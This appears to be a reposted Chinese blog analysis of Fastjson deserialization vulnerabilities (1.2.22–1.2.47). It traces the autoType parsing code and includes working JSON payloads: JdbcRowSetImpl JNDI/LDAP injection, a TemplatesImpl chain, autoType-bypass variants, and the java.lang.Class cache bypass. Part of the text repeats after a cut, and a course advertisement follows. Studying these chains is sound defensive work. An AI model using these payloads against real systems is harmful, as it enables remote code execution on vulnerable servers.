Java安全之fastjson链分析

前段时间有师傅来问了我fastjson的问题,虽然知道大概但没分析过具体链,最近有空了正好分析一下fastjson两个反序列化洞:

1.2.22<=version<=1.2.24

1.2.25<=version<=1.2.47

简述与使用

Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java
Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。

本文涉及相关实验:[Fastjson反序列化漏洞](https://www.hetianlab.com/expc.do?ec=ECID49a7-7e01-41dd-9edd-c051743c427f&pk_campaign=freebuf-
wemedia%20e1,%20coordSampled)(fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。)

项目地址:https://github.com/alibaba/fastjson

环境直接maven:

<dependencies>  
....  
<dependency>  
<groupId>com.alibaba</groupId>  
<artifactId>fastjson</artifactId>  
<version>1.2.22</version>  
</dependency>  
</dependencies>

首先是关于fastjson的序列化与反序列化过程中会调用到类的get跟set方法,一个自建类:

package org.example;  
​  
public class JsonTest {  
private int _id;  
private String _name;  
private String _passwd;  
​  
public JsonTest(int _id, String _name, String _passwd) {  
this._id = _id;  
this._name = _name;  
this._passwd = _passwd;  
}  
​  
public JsonTest() {  
}  
​  
public int get_id() {  
System.out.println("get "+_id);  
return _id;  
}  
​  
public void set_id(int _id) {  
System.out.println("set "+_id);  
this._id = _id;  
}  
​  
public String get_name() {  
System.out.println("get "+_name);  
return _name;  
}  
​  
public void set_name(String _name) {  
System.out.println("set "+_name);  
this._name = _name;  
}  
​  
public String get_passwd() {  
System.out.println("get "+_passwd);  
return _passwd;  
}  
​  
public void set_passwd(String _passwd) {  
System.out.println("set "+_passwd);  
this._passwd = _passwd;  
}  
​  
@Override  
public String toString() {  
return "JsonTest{" +  
"_id=" + _id +  
", _name='" + _name + '\'' +  
", _passwd='" + _passwd + '\'' +  
'}';  
}  
}

Main:

public static void main(String[] args) {  
JsonTest jsonTest = new JsonTest(1,"uname","passwd");  
System.out.println("[1]================");  
String str = JSON.toJSONString(jsonTest);  
System.out.println("[2]================");  
System.out.println(str);  
System.out.println("[3]================");  
Object jsonTest1 = JSON.parseObject(str,JsonTest.class);  
System.out.println("[4]================");  
System.out.println(jsonTest1);  
​  
}

运行后得到了如下结果:

[1]================  
get 1  
get uname  
get passwd  
[2]================  
{"id":1,"name":"uname","passwd":"passwd"}  
[3]================  
set 1  
set uname  
set passwd  
[4]================  
JsonTest{_id=1, _name='uname', _passwd='passwd'}

很明显的在序列化时会调用类中各属性的get方法,而反序列化时会调用其set方法。

在上述反序列化过程中需要多添加一个class类的参数:JsonTest.class

而fastjson也提供了一种无需指定类的方式,称为autotype,而这种autotype正是导致反序列化漏洞的原因。

给序列化过程的函数指定第二个参数:

JSON.toJSONString(jsonTest,SerializerFeature.WriteClassName);

此时能够得到一个指定了type的json串:

{"@type":"org.example.JsonTest","id":1,"name":"uname","passwd":"passwd"}

再对其反序列化时就无需再指定对应的类了:

Object jsonTest1 = JSON.parseObject(str);  
System.out.println(jsonTest1);

当未对@type字段进行完全的安全性验证,攻击者可以传入危险类,从而调用危险类对目标机进行攻击,接下来分析一下其过程。

反序列化过程

先在JSON.parseObject处下个断点,跟入看看fastjson的反序列化过程。

首先进入到JSON.class中:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

接着进入parse函数中:

public static Object parse(String text) {  
return parse(text, DEFAULT_PARSER_FEATURE);  
}

使用了默认的解析方式DEFAULT_PARSER_FEATURE去解析我们的json串,继续跟入:

public static Object parse(String text, int features) {  
if (text == null) {  
return null;  
} else {  
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);  
Object value = parser.parse();  
parser.handleResovleTask(value);  
parser.close();  
return value;  
}  
}

其构造器中有如下:

int ch = lexer.getCurrent();  
if (ch == '{') {  
lexer.next();  
((JSONLexerBase)lexer).token = 12;  
} else if (ch == '[') {  
lexer.next();  
((JSONLexerBase)lexer).token = 14;  
} else {  
lexer.nextToken();  
}

其会根据对应的{[去设置token,之后通过scanSymbol来获取到@type,并且autotype它还支持如下形式嵌套的串:

[  
{  
"@type": "xxx.xxx",  
"xxx": "xxx"  
},  
{  
"@type": "xxx.xxx",  
"xxx": {  
"@type": ""  
}  
},  
{  
"@type": "xxx"  
} : "xx",  
{  
"@type": "xxx"  
} : "xx"  
]

其中对于字符串的还有如下对于双字节字符的处理:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

\u或\x即是unicode或者16进制,而还有其他的如\v等,有师傅做了总结

\0 \1 \2 \3 \4 \5 \6 \7 \b \t \n \r \" \' \/ \\\   
等,java字符串读入之后会变成两个字符,因此,fastjson会把它转换会单个字符  
\f \F双字符都会转成单字符\f  
\v双字符转成\u000B单字符  
\x..四字符16进制数读取转成单字符  
\u....六字符16进制数读取转成单字符

这一个点其实可以用在某些filter的绕过上。

继续上面的scan,获取到@type后会继续获取到其类名,最后赋值给typeName,此时会进一步调用TypeUtils.loadClass去加载类:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

之后会从mappings中尝试取出class类(mappings中存放的是一些内置类):

20210526152321.png

如下,取不到后会去使用ClassLoader加载类并且将className和其class类put进mapping中。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

接着进行反序列化:

ObjectDeserializer deserializer = this.config.getDeserializer(clazz);  
thisObj = deserializer.deserialze(this, clazz, fieldName);  
return thisObj;

一路跟去会有一个denyList:外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

这一个list默认情况下只有一个Thread类:

this.denyList = new String[]{"java.lang.Thread"};

最后会去调用到set方法。

1.2.22-1.2.24

这个版本下有两条利用链:JdbcRowSetImpl和Templateslmpl,还有一条BasicDataSource,下面逐一分析。

JdbcRowSetImpl

首先该链有两种利用方式:RMI+JNDI和RMI+LDAP

其中我使用到的是jdk8u66,关于高版本的限制以及绕过方式可以参考:

https://www.freebuf.com/column/207439.html

前面说到反序列化会调用到set方法,而漏洞的产生正是因为set方法,直接拿payload打一下:

public static void main(String[] args) {  
String payload = "  
{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:9999/badClassName\", \"autoCommit\":true}";  
JSON.parse(payload);  
}

直接在com.sun.rowset.JdbcRowSetImpl#setDataSourceName中下断点:

20210527085555.png

直接进入到else中直接将datasource设置为我们传入的值,再在setAutoCommit中下个断点:

20210527085817.png

同样进入else,关键在于这里的connect调用了lookup:

20210527091601.png

最后就造成了JNDI注入,LDAP同样如此,修改一下协议即可。

Templateslmpl

前面的链就不跟了,体力活,主要是了解其原理,具体可以看看:

https://www.cnblogs.com/afanti/p/10193158.html

https://xz.aliyun.com/t/8979#toc-6

payload我参考的是上面第二个链接,此处截取部分方便理解:

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["base64 str"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

默认的知道以下划线开头是private属性,通过fastjson其实是无法直接赋值的,需要在parse时设置Feature.SupportNonPublicField强制给private属性赋值,因此这条链实际作用不大,不过分析一下锻炼一下代码审计能力。

首先是对于下划线的处理,在JavaBeanDeserializer#smartMatch中会处理掉下划线,之后去调用对应的set方法,bytecodes在最后会进行base64解码,并且bytecode是binary,fastjson中不支持反序列化此类字符串,因此这也是其为base64字符串的原因,而对于_outputProperties这一个属性比较特殊,它调用到的不是set方法而是get方法,因此我着重跟一下它。

因为在调用set方法时都是经过FieldDeserializer#setValue,因此在此处下个断点。

20210528000049.png

跟到下面调用到了getOutputProperties方法是通过invoke,之后就执行命令了:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

但method的来源还需要追究一下。

经过不断debug能够在ParserConfig的createJavaBeanDeserializer检测到sortedFieldDeserializers的变化,而sortedFieldDeserializers正是获取到getOutputProperties的关键:20210528091015.png

在createJavaBeanDeserializer中调用了JavaBeanInfo#build,一路debug能够发现获取一个set方法时是通过如下代码:20210528091847.png

同样位于build函数下有一段获取getter的代码:

20210528092737.png

其中OutputProperties的getter就是从这里获取到,不过这还是无法解除关于为什么要获取getter的疑惑,回到前面的FieldDeserializer#setValue,在使用invoke调用getOutputProperties后,得到的是一个Map类,而随后会对map调用putAll:

Map map = (Map)method.invoke(object);  
if (map != null) {  
map.putAll((Map)value);  
}

也就说如果一个json串:

{"@type": "xxx.xxx", "hhhm": {"key": "value"}}

会需要将{"key": "value"}放入hhhm中,因此需要先调用get来获取到这一个map以便于后续的赋值。

跟入getOutputProperties->newTransformer->defineTransletClasses,实例化了bytecodes,然后在:

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

经过一系列调用最后就到了TEMPOC中执行到RCE:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

BasicDataSource

省赛遇到的一道题才知道原来还有这条链,先mark下:

http://blog.nsfocus.net/fastjson-basicdatasource-attack-chain-0521/

该链只能用于Fastjson 1.2.24及更低版本,使用范围相较于前两条链而言较小,链接处文章写的也很详细,不做过多叙述。

1.2.25-1.2.45部分绕过

直接拿着原来的链打会发现报错,发现多了一个ParserConfig.checkAutoType方法,在1.2.25中对DefaultJSONParser#parseObject中的TypeUtils.loadClass进行了修复:

//1.2.24  
Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());  
//1.2.25  
Class<?> clazz = config.checkAutoType(typeName);

autoTypeSupport默认修改为false:外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

需要通过如下方式开启:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

并且有一个denylist,来过滤掉前面用到的链中的类:

20210528110523.png

部分手动开启autoType的绕过链就不分析了,绕过的点也比较容易看出,具体看https://xz.aliyun.com/t/9052

这部分绕过个人感觉适用于ctf中,不做分析了,下面贴一下payload。

1.2.25-1.2.41

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}

1.2.25-1.2.42

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}

1.2.25-1.2.43

{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}

1.2.25-1.2.45

需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本

payload:

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/badNameClass"}}

1.2.25-1.2.47

这条链是通杀的,比较厉害的是其不需要开启AutoTypeSupport,相对于上面提到的绕过而言利用面广泛的多,因此着重分析一下。

该链在<1.2.32之前,如果开启了AutoTypeSupport则无法利用,在>1.2.32后五轮是否开启都可以利用。

payload:

{  
"a": {  
"@type": "java.lang.Class",   
"val": "com.sun.rowset.JdbcRowSetImpl"  
},   
"b": {  
"@type": "com.sun.rowset.JdbcRowSetImpl",   
"dataSourceName": "ldap://localhost:1389/Exploit",   
"autoCommit": true  
}  
}

前面提到在checkAutoType中有这么一个if:

if (this.autoTypeSupport || expectClass != null) 

因为autoTypeSupport默认为false,所以if内的代码都跳过了,而这条链的利用也无需这一个if,跟到后面:20210528235806.png

这里的deserializers.findClass比较关键:

20210531143027.png

此处的this.buckets会发现其内置了很多的类,如:

20210531143845.png

那么问题也就是出在这里,我们目前传入的类是java.lang.class,而该类正处于这一个buckets中,而deserializers中有一个put方法,正是这一个方法将类放入白名单中从而避过了autotype的限制。

20210531144419.png

偏一下话题,稍微往前追溯一点能够找到如下一个初始化deserializers对象的方法:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

白名单中的类都在此处。

比较好奇的是此处的class类的作用,在对class类进行反序列化时,其调用链如下:

deserializer#deserialze  
->  
TypeUtils#loadClass(strVal,parser.getConfig().getDefaultClassLoader())  
//strVal=com.sun.rowset.JdbcRowSetImpl  
->  
TypeUtils#loadClass(className, classLoader, true)  
//className=com.sun.rowset.JdbcRowSetImpl

此处的TypeUtils#loadClass在前面分析1.2.22-1.2.24链中提到过,其会尝试从mappings中取出类:

Class<?> clazz = (Class)mappings.get(className);

在取不到时会调用类加载器去加载类,此时就取到了com.sun.rowset.JdbcRowSetImpl

之后最致命的操作就是:

mappings.put(className, clazz);

com.sun.rowset.JdbcRowSetImpl这一个类放入了mappings中,而在加载b字典中的JdbcRowSetImpl类时,调用到的是:

20210531153829.png

他会直接从mappings中取类,而前面已经将JdbcRowSetImpl放入mappings中,此时达成了绕过autotype关闭的限制。

开发目的应该是为了程序运行效率,省去每次都需要去重新加载类的麻烦,但却因为class在反序列化时会调用loader将其他类装载进来导致了绕过名单的后果。

而在1.2.48 修复了这一漏洞,将反序列化class对象时的cache设置为false:

if (cache) {
  mappings.put(className, clazz);
}

此时就不会将class类装载进缓存中了。

cRowSetImpl`。

之后最致命的操作就是:

mappings.put(className, clazz);

com.sun.rowset.JdbcRowSetImpl这一个类放入了mappings中,而在加载b字典中的JdbcRowSetImpl类时,调用到的是:

[外链图片转存中…(img-1kY98GIb-1694482553198)]

他会直接从mappings中取类,而前面已经将JdbcRowSetImpl放入mappings中,此时达成了绕过autotype关闭的限制。

开发目的应该是为了程序运行效率,省去每次都需要去重新加载类的麻烦,但却因为class在反序列化时会调用loader将其他类装载进来导致了绕过名单的后果。

而在1.2.48 修复了这一漏洞,将反序列化class对象时的cache设置为false:

if (cache) {
  mappings.put(className, clazz);
}

此时就不会将class类装载进缓存中了。

网络安全工程师(白帽子)企业级学习路线

第一阶段:安全基础(入门)

img

第二阶段:Web渗透(初级网安工程师)

img

第三阶段:进阶部分(中级网络安全工程师)

img

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

学习资源分享

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值